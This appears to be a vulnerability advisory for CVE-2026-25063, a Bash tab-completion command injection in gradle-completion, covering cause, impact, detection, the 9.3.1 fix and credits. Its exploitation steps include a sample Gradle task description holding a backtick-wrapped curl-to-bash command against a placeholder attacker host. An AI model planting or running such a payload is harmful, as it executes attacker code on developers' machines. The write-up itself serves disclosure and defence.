CVE-2026-25063: 
Gradle vulnerability analysis and mitigation

CVE-2026-25063 is a Bash command injection vulnerability in gradle-completion, a tool providing Bash and Zsh tab completion support for Gradle. The flaw affects all versions up to and including 9.3.0 and allows arbitrary code execution when a user triggers Bash tab completion in a directory containing a malicious Gradle build file. It was disclosed on January 29, 2026, with a patch released in version 9.3.1. The vulnerability carries a CVSS v3.1 score of 7.8 (High) and a CVSS v4.0 score of 8.3 (High) (GitHub Advisory, Red Hat).

The root cause is improper neutralization of special elements in OS commands (CWE-78) combined with failure to sanitize paired delimiters such as backticks (CWE-157). The vulnerable gradle-completion Bash script uses unquoted command substitution (e.g., $(...)) when processing Gradle task names and descriptions read from the build file output, meaning any backtick-enclosed string in a task description is evaluated as a shell command during tab completion. The fix (commit ecacc32) replaces unsafe word-splitting constructs with readarray -t and tightens regex patterns to exclude forbidden Gradle characters, ensuring task names and descriptions are never subject to shell evaluation (GitHub Advisory, Fix Commit). The vulnerability does not affect Zsh completion.

Successful exploitation allows an attacker to execute arbitrary OS commands with the privileges of the user who triggers Bash tab completion, without the user explicitly running any Gradle task. This results in high confidentiality, integrity, and availability impact — an attacker can read sensitive files, modify system data, or disrupt system operations. The attack is local in scope but can be weaponized via a malicious Gradle build file committed to a shared repository, making it a supply-chain-style threat in developer environments (GitHub Advisory, Feedly).

No public proof-of-concept exploit or evidence of in-the-wild exploitation has been reported as of the time of disclosure (Feedly). The EPSS score is approximately 0.0013 (0.13%), indicating low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged local attacker who can place or influence a Gradle build file in a directory where the victim runs tab completion.

1. Craft a malicious Gradle build file: Create or modify a build.gradle or build.gradle.kts file to include a Gradle task whose description contains a backtick-enclosed shell command, e.g.:

task malicious(description: "`curl http://attacker.com/shell.sh | bash`") {
}

2. Deliver the malicious build file: Place the file in a shared repository, a cloned project directory, or any directory the victim developer is likely to work in (e.g., via a pull request or a compromised dependency).
3. Wait for victim to trigger tab completion: When the victim navigates to the project directory and types gradle <TAB> in Bash, the gradle-completion script executes Gradle to enumerate tasks and their descriptions.
4. Command injection executes: The backtick expression in the task description is evaluated by Bash during the completion process, executing the attacker's payload with the victim's user privileges — without the victim running any Gradle task explicitly (GitHub Advisory).

• Process: Unexpected child processes spawned from the Bash shell during tab completion (e.g., curl, wget, nc, python, /bin/sh) without a corresponding explicit user command.
• Network: Outbound connections from a developer workstation to unknown external IPs or domains initiated at the time of Bash tab completion activity.
• File System: Unexpected new files (scripts, binaries, cron jobs) created in the user's home directory or /tmp around the time of Gradle tab completion usage; modified .bashrc or .bash_profile files.
• Logs: Shell history (~/.bash_history) showing gradle tab completion attempts followed by anomalous command execution; audit logs (if enabled) showing process creation events from the Bash completion subsystem.

Upgrade gradle-completion to version 9.3.1 or later, which contains the fix that prevents shell evaluation of task names and descriptions (GitHub Advisory, Fix Commit). As a temporary workaround, disable Bash completion for Gradle by removing the gradle-completion source line from .bashrc or .bash_profile. Zsh users are not affected and do not need to take action. In shared or CI/CD environments, enforce the use of gradle-completion 9.3.1+ and audit Gradle build files from untrusted sources before use.

The vulnerability was reported by security researcher Enrico2, with remediation developed by reinsch82 and reviewed by eskatos, coordinated by appsecgaborgradle under the GitHub Security Advisory program (GitHub Advisory). Red Hat acknowledged the CVE and published a tracking entry (Red Hat). Tenable added detection support via Nessus plugin 297268. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability database entries.